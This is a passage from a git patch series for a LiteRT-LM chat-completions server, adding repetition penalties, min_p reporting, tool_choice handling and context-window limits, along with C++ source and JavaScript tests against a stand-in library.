200, reply.error) + }) + return log.filter((c) => c.call === 'send_message').at(-1).args.repetition_penalty_config ?? null + } + const config = (repetition_penalty, presence_penalty, frequency_penalty, window_size) => ({ repetition_penalty, presence_penalty, frequency_penalty, window_size }) + assert.equal(await penalties({}), null) + // llama.cpp's repeat_penalty, over llama.cpp's default 64 tokens unless repeat_last_n says otherwise (0: off). + assert.deepEqual(await penalties({ repeat_penalty: 1.3 }), config(f(1.3), 0, 0, 64)) + assert.deepEqual(await penalties({ repeat_penalty: 1.1, presence_penalty: 0.6 }), config(f(1.1), f(0.6), 0, 64)) + assert.deepEqual(await penalties({ repeat_penalty: 1.3, repeat_last_n: 128 }), config(f(1.3), 0, 0, 128)) + assert.deepEqual(await penalties({ repeat_penalty: 1.3, repeat_last_n: -1 }), config(f(1.3), 0, 0, 0)) + assert.equal(await penalties({ repeat_penalty: 1.3, repeat_last_n: 0 }), null) + assert.equal(await penalties({ repeat_penalty: 1 }), null) + // OpenAI's and HuggingFace's names, over the whole reply. + assert.deepEqual(await penalties({ repetition_penalty: 1.2 }), config(f(1.2), 0, 0, 0)) + assert.deepEqual(await penalties({ presence_penalty: 0.5, frequency_penalty: 1 }), config(1, 0.5, 1, 0)) + assert.deepEqual(await penalties({ frequency_penalty: -0.5 }), config(1, 0, -0.5, 0)) + assert.equal(await penalties({ min_p: 0 }), null) + const refused = async (request) => { + const reply = await chat(fake, { model, messages: hello, ...request }) + assert.equal(reply.status, 400, JSON.stringify(request)) + return reply.error + } + assert.equal(await refused({ repeat_penalty: 0.9 }), 'Invalid sampler parameters: repeat_penalty 0.9 is below 1, which LiteRT-LM does not take (1 is no penalty)') + assert.equal(await refused({ presence_penalty: 'high' }), 'Invalid sampler parameters: ValueError: presence_penalty must be a number') + assert.equal(await refused({ repeat_penalty: 1.2, repeat_last_n: -2 }), 'Invalid sampler parameters: ValueError: repeat_last_n must be an integer of -1 or more') + // min_p, which LiteRT-LM has no sampler for, is not applied, and the reply says so, streamed or not (a 400 would fail + // every chat whose saved settings have a Min P). + for (const stream of [false, true]) { + const reply = await chat(fake, { model, messages: hello, min_p: 0.05, stream }) + assert.equal(reply.status, 200, reply.error) + assert.equal(reply.headers.get('x-unapplied-parameters'), 'min_p') + } + assert.equal((await chat(fake, { model, messages: hello, min_p: 0 })).headers.get('x-unapplied-parameters'), null) + assert.equal(await refused({ min_p: 'low' }), 'Invalid sampler parameters: ValueError: min_p must be a number') + assert.equal((await logged(fake)).filter((l) => l === 'min_p is not applied to plain.litertlm: LiteRT-LM has no min-p sampling').length, 1, fake.stderr) +}) + +test('min_p is said once per model, by a request that is answered, also when requests with it arrive at once', { skip, timeout: 60_000 }, async () => { + // Each connection has its own thread. The note is taken under the engine lock, so requests refused before it (here + // for their response_format) never touch it, and answered ones take turns. + const models = Array.from({ length: 32 }, (_, i) => readable(`min-p-${i}`)) + const replies = await Promise.all(models.map((model) => chat(fake, { model, messages: hello, min_p: 0.05, response_format: { type: 'bogus' } }))) + assert.deepEqual(replies.map((r) => r.status), models.map(() => 400)) + const note = (i) => `min_p is not applied to min-p-${i}.litertlm: LiteRT-LM has no min-p sampling` + assert.equal((await logged(fake)).filter((l) => l.startsWith('min_p is not applied to min-p-')).length, 0, fake.stderr) + const answered = await Promise.all([...models.slice(0, 8), ...models.slice(0, 8)].map((model) => chat(fake, { model, messages: hello, min_p: 0.05 }))) + assert.deepEqual(answered.map((r) => [r.status, r.headers.get('x-unapplied-parameters')]), answered.map(() => [200, 'min_p'])) + const lines = await logged(fake) + for (let i = 0; i < 8; i++) assert.equal(lines.filter((l) => l === note(i)).length, 1, `${note(i)}\n${fake.stderr}`) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model's reply changes under a repetition penalty: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + // Greedy and without thinking, so only the penalty can change the reply. + const ask = async (extra) => { + const reply = await chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'Write two sentences about the sea.' }], max_completion_tokens: 64, temperature: 0, reasoning_effort: 'none', ...extra }, 300_000) + assert.equal(reply.status, 200, reply.error) + return reply.content + } + const plain = await ask({}) + assert.notEqual(await ask({ frequency_penalty: 2 }), plain, 'frequency_penalty 2 changed nothing') + assert.notEqual(await ask({ repeat_penalty: 1.5 }), plain, 'repeat_penalty 1.5 changed nothing') + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/litert_lm_api.h b/engines/litert-lm-server/src/litert_lm_api.h index 1a0e479..89abf2d 100644 --- a/engines/litert-lm-server/src/litert_lm_api.h +++ b/engines/litert-lm-server/src/litert_lm_api.h @@ -42,6 +42,7 @@ X(litert_lm_conversation_optional_args_delete) \ X(litert_lm_conversation_optional_args_set_constraint) \ X(litert_lm_conversation_optional_args_set_max_output_tokens) \ + X(litert_lm_conversation_optional_args_set_repetition_penalty_config) \ X(litert_lm_conversation_send_message_stream) \ X(litert_lm_engine_create) \ X(litert_lm_engine_delete) \ @@ -55,6 +56,12 @@ X(litert_lm_engine_settings_set_num_threads) \ X(litert_lm_engine_settings_set_use_ringbuffers_local_attention) \ X(litert_lm_get_last_error_message) \ + X(litert_lm_repetition_penalty_config_create) \ + X(litert_lm_repetition_penalty_config_delete) \ + X(litert_lm_repetition_penalty_config_set_frequency_penalty) \ + X(litert_lm_repetition_penalty_config_set_presence_penalty) \ + X(litert_lm_repetition_penalty_config_set_repetition_penalty) \ + X(litert_lm_repetition_penalty_config_set_window_size) \ X(litert_lm_sampler_params_create) \ X(litert_lm_sampler_params_delete) \ X(litert_lm_sampler_params_set_seed) \ diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 09e6bd9..3c21592 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1419,6 +1419,53 @@ std::optional ParseThinking(const json& body, const ModelConfig& mc) { return Thinking{thinking, budget, "the config's thinking"}; } +// Repetition penalties, which LiteRT-LM 0.18.0 applies per message while it decodes (RepetitionPenaltyConfig, through +// litert_lm_conversation_optional_args_set_repetition_penalty_config; tasks.cc), and which the server dropped: +// presence_penalty and frequency_penalty (OpenAI's: subtracted from a token's logit once, or once per occurrence) and +// repetition_penalty, or repeat_penalty, llama.cpp's name, which the daemon sends (HuggingFace's multiplicative +// penalty, 1 = none). Its window: repeat_last_n when the request sets it, as llama.cpp reads it (0 turns the penalties +// off, -1 is the whole reply); else llama.cpp's own default of the last 64 tokens for a request that names the penalty +// repeat_penalty, llama.cpp's way; else the whole reply, as OpenAI's penalties and LiteRT-LM's default are. LiteRT-LM +// counts the tokens of the reply only, not the prompt's (repetition_penalty_config.h). A repetition penalty below 1, +// which in llama.cpp favours repeats, LiteRT-LM clamps to 1 without a word, so it is a 400. none: no penalty. +struct Penalties { + float repetition = 1, presence = 0, frequency = 0; + int window = 0; +}; + +std::optional ParsePenalties(const json& body) { + auto has = [&](const char* k) { return body.contains(k) && !body[k].is_null(); }; + auto number = [&](const char* k) { + if (!body[k].is_number() || !std::isfinite(body[k].get())) { + throw HttpError(400, std::string("Invalid sampler parameters: ValueError: ") + k + " must be a number"); + } + return body[k].get(); + }; + Penalties p; + const char* rep = has("repetition_penalty") ? "repetition_penalty" : has("repeat_penalty") ? "repeat_penalty" : nullptr; + if (rep) { + p.repetition = number(rep); + if (p.repetition < 1) { + throw HttpError(400, std::string("Invalid sampler parameters: ") + rep + " " + body[rep].dump() + + " is below 1, which LiteRT-LM does not take (1 is no penalty)"); + } + } + if (has("presence_penalty")) p.presence = number("presence_penalty"); + if (has("frequency_penalty")) p.frequency = number("frequency_penalty"); + p.window = rep && std::string(rep) == "repeat_penalty" ? 64 : 0; + if (has("repeat_last_n")) { + if (!body["repeat_last_n"].is_number_integer() || body["repeat_last_n"].get() < -1 || + body["repeat_last_n"].get() > INT32_MAX) { + throw HttpError(400, "Invalid sampler parameters: ValueError: repeat_last_n must be an integer of -1 or more"); + } + const int n = body["repeat_last_n"].get(); + if (n == 0) return std::nullopt; + p.window = n > 0 ? n : 0; + } + if (p.repetition == 1 && p.presence == 0 && p.frequency == 0) return std::nullopt; + return p; +} + // The sampler a conversation is created with. A session's sampler parameters replace the model's own entirely: the // runtime uses LlmMetadata's only when the session's type is UNSPECIFIED (SessionConfig::MaybeUpdateAndValidate in // engine_settings.cc, LiteRT-LM 0.18.0). The server used to build one only when the request set any of temperature, @@ -1654,6 +1701,22 @@ void HandleChatCompletions(int fd, const Request& req) { } } std::optional thinking = ParseThinking(body, mc); + std::optional penalties = ParsePenalties(body); + std::string note_headers; // headers that tell the client what the server did with its request + // min_p, which LiteRT-LM has no sampler for, was dropped without a word. A 400 for it would fail every chat of a + // thread or model whose saved settings have a Min P, chats that worked, so it is still not applied, but the reply + // says so (X-Unapplied-Parameters), and the log once per model (below, under the engine lock). + bool min_p_unapplied = false; + if (body.contains("min_p") && !body["min_p"].is_null()) { + if (!body["min_p"].is_number() || !std::isfinite(body["min_p"].get())) { + SendError(fd, req, 400, "Invalid sampler parameters: ValueError: min_p must be a number"); + return; + } + if (body["min_p"].get() > 0) { + note_headers += "X-Unapplied-Parameters: min_p\r\n"; + min_p_unapplied = true; + } + } auto constraint = ParseResponseFormat(body); json tools = json::array(); @@ -1724,6 +1787,12 @@ void HandleChatCompletions(int fd, const Request& req) { if (info.capabilities_known && !Thinks(info)) throw ThinkingRefused(info, *thinking, ref.id); } LiteRtLmEngine* engine = GetOrCreateEngine(ref, mc, needs); + // Under the engine lock, as every other once-per-model note: each connection has its own thread, and two requests + // with a Min P at once (a chat and its title) inserted into this set together, which can corrupt it. + if (min_p_unapplied) { + static std::set told; + if (told.insert(ref.path).second) Log("min_p is not applied to " + ref.id + ": LiteRT-LM has no min-p sampling"); + } // Engine.create_conversation, with the options the serve path passes, but constrained decoding only with tools // (below). @@ -1770,7 +1839,6 @@ void HandleChatCompletions(int fd, const Request& req) { // stop thinking there by itself (a budget of 0 sets no constraint, tasks.cc), and nothing in such a file tells the // two apart, so a 400 for one would refuse the other. The server says so in its log once and, since a client sees // nothing of that log, in every such reply's X-Thinking header ("unverified"). - std::string note_headers; // headers that tell the client what the server did with its request if (thinking) { const ModelFileInfo& m = g_engine.info; const bool thinks = Thinks(m); @@ -1850,6 +1918,15 @@ void HandleChatCompletions(int fd, const Request& req) { LiteRtLmConversationOptionalArgs* oa = L.litert_lm_conversation_optional_args_create(); if (max_tokens) L.litert_lm_conversation_optional_args_set_max_output_tokens(oa, *max_tokens); if (constraint) L.litert_lm_conversation_optional_args_set_constraint(oa, constraint->first, constraint->second.c_str()); + if (penalties) { + LiteRtLmRepetitionPenaltyConfig* rp = L.litert_lm_repetition_penalty_config_create(); + L.litert_lm_repetition_penalty_config_set_repetition_penalty(rp, penalties->repetition); + L.litert_lm_repetition_penalty_config_set_presence_penalty(rp, penalties->presence); + L.litert_lm_repetition_penalty_config_set_frequency_penalty(rp, penalties->frequency); + L.litert_lm_repetition_penalty_config_set_window_size(rp, penalties->window); + L.litert_lm_conversation_optional_args_set_repetition_penalty_config(oa, rp); // copied + L.litert_lm_repetition_penalty_config_delete(rp); + } long long created = 0; const std::string now_str = NowStr(&created); diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index 2501345..7a87159 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -57,6 +57,10 @@ struct LiteRtLmConversation { struct LiteRtLmConversationOptionalArgs { LiteRtLmConstraintType type = kLiteRtLmConstraintTypeNone; std::string pattern; + nlohmann::json j = nlohmann::json::object(); // the other arguments, as logged with the message +}; +struct LiteRtLmRepetitionPenaltyConfig { + nlohmann::json j = {{"repetition_penalty", 1.0}, {"presence_penalty", 0.0}, {"frequency_penalty", 0.0}, {"window_size", 0}}; }; struct LiteRtLmStreamChunk { std::string text; @@ -177,6 +181,27 @@ LiteRtLmConversationOptionalArgs* litert_lm_conversation_optional_args_create() return new LiteRtLmConversationOptionalArgs; } void litert_lm_conversation_optional_args_delete(LiteRtLmConversationOptionalArgs* a) { delete a; } +void litert_lm_conversation_optional_args_set_max_output_tokens(LiteRtLmConversationOptionalArgs* a, int n) { + a->j["max_output_tokens"] = n; +} +LiteRtLmRepetitionPenaltyConfig* litert_lm_repetition_penalty_config_create() { return new LiteRtLmRepetitionPenaltyConfig; } +void litert_lm_repetition_penalty_config_delete(LiteRtLmRepetitionPenaltyConfig* c) { delete c; } +void litert_lm_repetition_penalty_config_set_repetition_penalty(LiteRtLmRepetitionPenaltyConfig* c, float v) { + c->j["repetition_penalty"] = v; +} +void litert_lm_repetition_penalty_config_set_presence_penalty(LiteRtLmRepetitionPenaltyConfig* c, float v) { + c->j["presence_penalty"] = v; +} +void litert_lm_repetition_penalty_config_set_frequency_penalty(LiteRtLmRepetitionPenaltyConfig* c, float v) { + c->j["frequency_penalty"] = v; +} +void litert_lm_repetition_penalty_config_set_window_size(LiteRtLmRepetitionPenaltyConfig* c, int n) { + c->j["window_size"] = n; +} +void litert_lm_conversation_optional_args_set_repetition_penalty_config(LiteRtLmConversationOptionalArgs* a, + const LiteRtLmRepetitionPenaltyConfig* c) { + a->j["repetition_penalty_config"] = c ? c->j : nlohmann::json(nullptr); +} void litert_lm_conversation_optional_args_set_constraint(LiteRtLmConversationOptionalArgs* a, LiteRtLmConstraintType type, const char* pattern) { a->type = type; @@ -188,7 +213,8 @@ int litert_lm_conversation_send_message_stream(LiteRtLmConversation* conv, const LiteRtLmStreamCallback callback, void* data) { Record({{"call", "send_message"}, {"message", nlohmann::json::parse(message ? message : "null", nullptr, false)}, - {"extra_context", nlohmann::json::parse(extra_context ? extra_context : "null", nullptr, false)}}); + {"extra_context", nlohmann::json::parse(extra_context ? extra_context : "null", nullptr, false)}, + {"args", a ? a->j : nlohmann::json(nullptr)}}); const LiteRtLmConstraintType type = a ? a->type : kLiteRtLmConstraintTypeNone; if (type == kLiteRtLmConstraintTypeRegex && a->pattern == "(") { g_error = "INTERNAL: Failed to create LLGuidance constraint: invalid regex \"(\": unclosed group"; From 65a23f8c6908e139b5b32350f0ea93e9f2003604 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:14:55 +0000 Subject: [PATCH 74/80] fix(litert-lm-server): tool_choice "none" withholds the tools tool_choice was ignored. "none", which the daemon sends to make a model answer in text (its gateway after a repeated tool call, gateway.ts, and its chat's retry after an empty answer, chat-routes.ts), still put the tools into the conversation, so the model was offered them and called them: on LFM2.5-230M and Qwen3-0.6B, "What is the weather in Paris?" with a get_weather tool and tool_choice "none" got a get_weather {"city":"Paris"} call back, as with "auto". "required" and a named function were not enforced either, and nothing said so. The Python `litert-lm serve` ignores tool_choice too. Older bug: origin/main has it (only `tools` is read). - engines/litert-lm-server/src/main.cc: tool_choice "none" leaves the tools out of the conversation (so no tool constraint is built either); earlier tool calls and results stay in the messages, as history. "auto", null or none at all is what it was. LiteRT-LM 0.18.0's C API cannot make a model call a tool (its constrained decoding keeps a call well formed, and Gemma's "function call only" mode is set by the model file, not per conversation), so "required" or a named function is a 400 "Invalid tool_choice: this server cannot make the model call a tool (...); LiteRT-LM can only offer it the tools, as tool_choice "auto" does", and any other value is a 400 too. - BUILDING-ENGINES.md: says so under "What the server is". Behaviour change: a request with tool_choice "none" gets no tool calls. One with tool_choice "required" or a named function gets a 400 instead of a reply that may or may not call a tool. The daemon's chat forces web_search with a named tool_choice for a Research persona, but not for a LiteRT-LM model: a TurboLLM change made alongside this one sends such a model the tools without the forced choice and tells the user. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, 'tool_choice "none" leaves the tools out, "auto" keeps them, and one LiteRT-LM cannot force is a 400' (also with tool calls and results in the history); and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, 'a real model calls no tool with tool_choice "none", with or without earlier calls: ' (the history case where the model's template renders tool turns at all, which gemma-3-270m-it's does not, with any tool_choice). With main.cc as it was, the stand-in test fails (tools=1 for "none", 200s for the 400s), and so does the real one on LFM2.5-230M_int8 and Qwen3-0.6B, which call get_weather; gemma-3-270m-it answers in text either way. No existing test changed. --- BUILDING-ENGINES.md | 6 ++ .../litert-lm-server/model-settings.test.mjs | 60 +++++++++++++++++++ engines/litert-lm-server/src/main.cc | 21 +++++++ 3 files changed, 87 insertions(+) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 484461a..ecdf26f 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -430,6 +430,12 @@ tokens only. A repetition penalty below 1, which LiteRT-LM would clamp to 1 with above 0 says so in its `X-Unapplied-Parameters: min_p` header: a 400 would fail every chat whose saved settings have a Min P, chats that worked when it was dropped unread. +**`tool_choice` "none" leaves the tools out of the conversation** (earlier calls and results +stay in the history), and "auto" or none at all keeps them. LiteRT-LM 0.18.0's C API cannot make +a model call a tool (constrained decoding keeps a call well formed; Gemma's "function call only" +mode comes from the model file), so `tool_choice` "required" or a named function is a 400 that +says so. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 703a613..b1e1ecc 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -735,3 +735,63 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +const weatherTool = [{ + type: 'function', + function: { name: 'get_weather', description: 'Weather in a city', parameters: { type: 'object', properties: { city: { type: 'string' } }, required: ['city'] } }, +}] + +test('tool_choice "none" leaves the tools out, "auto" keeps them, and one LiteRT-LM cannot force is a 400', { skip, timeout: 60_000 }, async () => { + // The stand-in's reply says whether the conversation was given tools ("tools=1") and constrained ("constrained=1"). + const created = async (request) => { + const reply = await chat(fake, { model: readable('gemma-tools'), messages: hello, tools: weatherTool, ...request }) + assert.equal(reply.status, 200, reply.error) + return Object.fromEntries(reply.content.split(' ').map((kv) => kv.split('=')).filter(([k]) => k === 'tools' || k === 'constrained').map(([k, v]) => [k, Number(v)])) + } + assert.deepEqual(await created({}), { constrained: 1, tools: 1 }) + assert.deepEqual(await created({ tool_choice: 'auto' }), { constrained: 1, tools: 1 }) + assert.deepEqual(await created({ tool_choice: null }), { constrained: 1, tools: 1 }) + assert.deepEqual(await created({ tool_choice: 'none' }), { constrained: 0, tools: 0 }) + // With the earlier calls and results still in the history. + const history = [ + { role: 'user', content: 'Weather in Paris?' }, + { role: 'assistant', content: null, tool_calls: [{ id: 'c1', type: 'function', function: { name: 'get_weather', arguments: '{"city":"Paris"}' } }] }, + { role: 'tool', tool_call_id: 'c1', content: 'Sunny, 21 C' }, + ] + assert.deepEqual(await created({ tool_choice: 'none', messages: history }), { constrained: 0, tools: 0 }) + for (const [tool_choice, said] of [['required', '"required"'], [{ type: 'function', function: { name: 'get_weather' } }, '{"function":{"name":"get_weather"},"type":"function"}']]) { + const reply = await chat(fake, { model: readable('gemma-tools'), messages: hello, tools: weatherTool, tool_choice }) + assert.deepEqual(reply, { status: 400, error: `Invalid tool_choice: this server cannot make the model call a tool (${said}); LiteRT-LM can only offer it the tools, as tool_choice "auto" does` }) + } + const odd = await chat(fake, { model: readable('gemma-tools'), messages: hello, tools: weatherTool, tool_choice: 'sometimes' }) + assert.deepEqual(odd, { status: 400, error: 'Invalid tool_choice: "sometimes" (none, auto, required or a function)' }) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model calls no tool with tool_choice "none", with or without earlier calls: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ask = (messages, extra) => chat(server, { model: `${path},cpu`, messages, tools: weatherTool, max_completion_tokens: 96, temperature: 0, reasoning_effort: 'none', ...extra }, 300_000) + const question = [{ role: 'user', content: 'What is the weather in Paris?' }] + const history = [ + ...question, + { role: 'assistant', content: null, tool_calls: [{ id: 'c1', type: 'function', function: { name: 'get_weather', arguments: '{"city":"Paris"}' } }] }, + { role: 'tool', tool_call_id: 'c1', content: 'Sunny, 21 C' }, + { role: 'user', content: 'And in Rome?' }, + ] + // A template that cannot render tool turns at all (gemma-3-270m-it's: "Conversation roles must alternate") + // cannot render them with tool_choice "none" either; that is not this test's business. + const rendersHistory = !/Failed to apply template/.test((await ask(history, {})).error ?? '') + for (const messages of rendersHistory ? [question, history] : [question]) { + const reply = await ask(messages, { tool_choice: 'none' }) + assert.equal(reply.status, 200, reply.error) + assert.equal(reply.tool_calls, undefined, `called ${JSON.stringify(reply.tool_calls)}`) + assert.ok(reply.content, 'no answer') + } + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 3c21592..1bd6d1a 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1725,6 +1725,27 @@ void HandleChatCompletions(int fd, const Request& req) { if (t.is_object() && t.value("type", "") == "function") tools.push_back(t); } } + // tool_choice was ignored, so "none", which the daemon sends to make a model answer in text (its gateway after a + // repeated call, and its chat's retry after an empty answer), still offered the model the tools and got tool calls + // back. "none" now leaves the tools out of the conversation; the history keeps its earlier calls and results. + // "auto", or none at all, is what it was. LiteRT-LM 0.18.0's C API has no way to make a model call a tool (its + // constrained decoding keeps a call well formed, and Gemma's "function call only" mode is set by the model file, + // not per conversation), so "required" or a named function is a 400 that says so rather than a reply that may + // not call it. + if (body.contains("tool_choice") && !body["tool_choice"].is_null()) { + const json& choice = body["tool_choice"]; + const std::string mode = choice.is_string() ? choice.get() : ""; + if (mode == "none") { + tools = json::array(); + } else if (mode == "required" || choice.is_object()) { + SendError(fd, req, 400, "Invalid tool_choice: this server cannot make the model call a tool (" + choice.dump() + + "); LiteRT-LM can only offer it the tools, as tool_choice \"auto\" does"); + return; + } else if (mode != "auto") { + SendError(fd, req, 400, "Invalid tool_choice: " + choice.dump() + " (none, auto, required or a function)"); + return; + } + } // Absent or null is false for both, as the Python server's body.get() reads them, and as clients that write every // optional field send them. json's value() threw type_error on a null, and the catch below made that a 500. Any From 09e8d4cb36a3b8b371658ce2dd4c06a3f488d0fc Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:22:05 +0000 Subject: [PATCH 75/80] fix(litert-lm-server): a context larger than the model takes is said When the context TurboLLM asks for (the model's Context setting, written as max_num_tokens) is larger than a .litertlm takes, LiteRT-LM uses the model's own limit and says so only with a WARNING in its log ("Passed in max_num_tokens (8192) is larger than what the static model supports (4096). Using model limit.", ClampMaxNumTokens in llm_litert_compiled_model_executor.cc, 0.18.0). Nobody else was told: /v1/models said nothing about the context, and the server judged finish_reason "length" against the size asked for, so on LFM2.5-230M with ",cpu,8192" a counting prompt stopped at 2110 + 1986 = 4096 tokens with "stop". With no size asked for, "length" was never reported for a full context at all. And a prompt longer than the real window was a 500 "RuntimeError: INVALID_ARGUMENT: Input token ids are too long. Exceeding the maximum number of tokens allowed: 4209 >= 4096", although the request was at fault. Older bug: origin/main has it (max_num_tokens is passed as is, and "length" judged against it). - engines/litert-lm-server/src/main.cc: the server reads the model's context from the file once per version of it, as the C API's litert_lm_loaded_file_max_context_tokens and _is_dynamic_context read it: LlmMetadata's max_num_tokens, a prime above 10 marking a dynamic context, or for a file without one, as gemma-3-270m-it is, the last dimension of its first prefill signature's mask input, read from the few tables of the main model that give it. When more is asked than the model takes, the engine is given the model's limit and the server logs, once per model and size asked (a model with a new engine for each conversation would log it for each), "max_num_tokens 8192 is more than takes (its fixed context is 4096 tokens); its context window is 4096". The window is the one LiteRT-LM gives the engine, worked out as it does (EngineSettings::MaybeUpdateAndValidate, ClampMaxNumTokens, GetTargetNumber): with no size asked for, the model's own, but 4096 for a file that gives none and on GPU no more than 4096; for a dynamic context, whose number M is a prime, the size asked when it is below M, and otherwise LiteRT-LM's default for M, the largest multiple of 256 below it (below 256, the largest power of two), also with none asked. M itself, which the runtime never uses, is not reported. That window is what "length" is judged against, and the server reports it: each chat reply carries an X-Context-Window header, and the loaded model's /v1/models entry a max_model_len (vLLM's name); when more was asked, X-Context-Window-Requested and max_model_len_requested carry that. A prompt that does not fit the window is a 400 "Invalid messages: the prompt does not fit the model's context window of 4096 tokens ()" (in a stream, already answered 200, it is the error event, with the same words). - BUILDING-ENGINES.md: says so under "What the server is", with the stream's error event. Behaviour change: a reply cut off at a model's real context reads "length" (on LFM2.5-230M with 8192 asked: 4096 tokens, "length"). Chat replies carry X-Context-Window (and X-Context-Window-Requested when the model takes less than asked), /v1/models carries max_model_len (and max_model_len_requested), and the server logs a context it cut. A prompt too long for the window is a 400 instead of a 500 (in a stream, the error event). A model with a dynamic context is given LiteRT-LM's default for it when its number or more is asked (32768 for 32771, which is what the runtime makes of the number anyway). Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs the max_num_tokens an engine is created with, on stand-in files whose LlmMetadata gives a context or whose main model's prefill signature does: "a context larger than the model takes is cut to the model's, logged and reported, never silently" (a fixed context, sizes above and below and none, on CPU and on GPU; a dynamic one, below, at and above its number and none; one from the prefill signature; and an LFM2 model's engine created three times with one log line) and "a prompt that does not fit the context window is a 400 that says the window"; and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, 'a real model's context window is its own when more is asked, and a reply that fills it ends with "length": ' (64k asked; passes on LFM2.5-230M_int8, gemma-3-270m-it and Qwen3-0.6B, all three a fixed 4096). With main.cc as it was, all three fail: 8192 passed on, the 500, and no X-Context-Window header on LFM2.5-230M_int8. The first also fails without the prefill signature's context (8192 passed on for that file), with the note logged for every engine (three lines for one), with a dynamic model's number taken as its window (32771 for 32768), and with none asked, without the 4096 on GPU or for a file that gives no size. No existing test changed. --- BUILDING-ENGINES.md | 15 +++ .../litert-lm-server/model-settings.test.mjs | 117 ++++++++++++++++- engines/litert-lm-server/src/main.cc | 120 ++++++++++++++++-- .../testdata/fake_litert_lm.cc | 13 +- 4 files changed, 252 insertions(+), 13 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index ecdf26f..1fd64f4 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -436,6 +436,21 @@ a model call a tool (constrained decoding keeps a call well formed; Gemma's "fun mode comes from the model file), so `tool_choice` "required" or a named function is a 400 that says so. +**A context larger than the model takes is cut to the model's, and said.** The runtime used the +model's own limit with only a warning in its log (LFM2.5-230M has a fixed 4096), and "length" +was judged against the size asked for. Now the engine is given the model's limit (its +LlmMetadata's `max_num_tokens`, or where that is missing, as in gemma-3-270m-it, the size of its +prefill signature's mask, which is where LiteRT-LM reads it), the server logs that once per +model and size asked, and it reports the window in each chat reply's `X-Context-Window` header +and as `max_model_len` on `/v1/models`, with `X-Context-Window-Requested` and +`max_model_len_requested` when more was asked. That window is the one LiteRT-LM gives the +engine, worked out as it does: with no size asked for, the model's own, but 4096 for a file that +gives none and on GPU no more than 4096; for a model with a dynamic context (a prime above 10, +its magic number), the size asked when it is below that number, and otherwise LiteRT-LM's +default for it, the largest multiple of 256 below it (below 256, the largest power of two), also +with none asked. A prompt that does not fit the window is a 400 that names its size; in a +stream, already answered 200, it is the `response.error` event, with the same words. + **The library is loaded with `dlopen(RTLD_LOCAL)`, not linked**, and the server's own C++ runtime is static and unexported. `liblitert-lm.so` carries its own statically linked C++ runtime and *exports* it; when the server was linked against the library, the linker diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index b1e1ecc..444b919 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -22,8 +22,8 @@ import { basename, join } from 'node:path' import { deflateSync } from 'node:zlib' import { after, before, test } from 'node:test' import { - buildServer, calls, chat, fb, flatbuffer, killServers, litertlmFile, logged, proto, realLibrary, realModels, skip, - skipReal, startServer, stopServer, + buildServer, calls, chat, fb, flatbuffer, killServers, litertlmFile, logged, proto, realLibrary, realModels, request, + skip, skipReal, startServer, stopServer, } from './testdata/harness.mjs' const visionModels = (process.env.LITERT_LM_TEST_VISION_MODELS ?? '').split(',').filter(Boolean) @@ -795,3 +795,116 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +// The loaded model's entry on /v1/models. +async function modelsEntry(server) { + const res = await request(`http://127.0.0.1:${server.port}/v1/models`, undefined, 5000) + assert.equal(res.status, 200) + return JSON.parse(res.text).data[0] +} + +// LlmMetadata's max_num_tokens (field 5), the model's context, which a prime above 10 marks as dynamic; and a main +// model whose LlmMetadata gives none, from whose prefill signature's "mask" input, [1, 1, 32, context], LiteRT-LM +// reads it instead (gemma-3-270m-it's is read so). +const contextMetadata = (n, ...more) => ({ type: 5, bytes: Buffer.concat([proto.varint(5, n), ...more]) }) +const decoderWithMask = (context) => ({ + ...decoder, + bytes: flatbuffer(fb.table([undefined, undefined, fb.vector([fb.table([fb.vector([fb.table([fb.ints([1, 32])]), fb.table([fb.ints([1, 1, 32, context])])])])]), + undefined, undefined, undefined, undefined, + 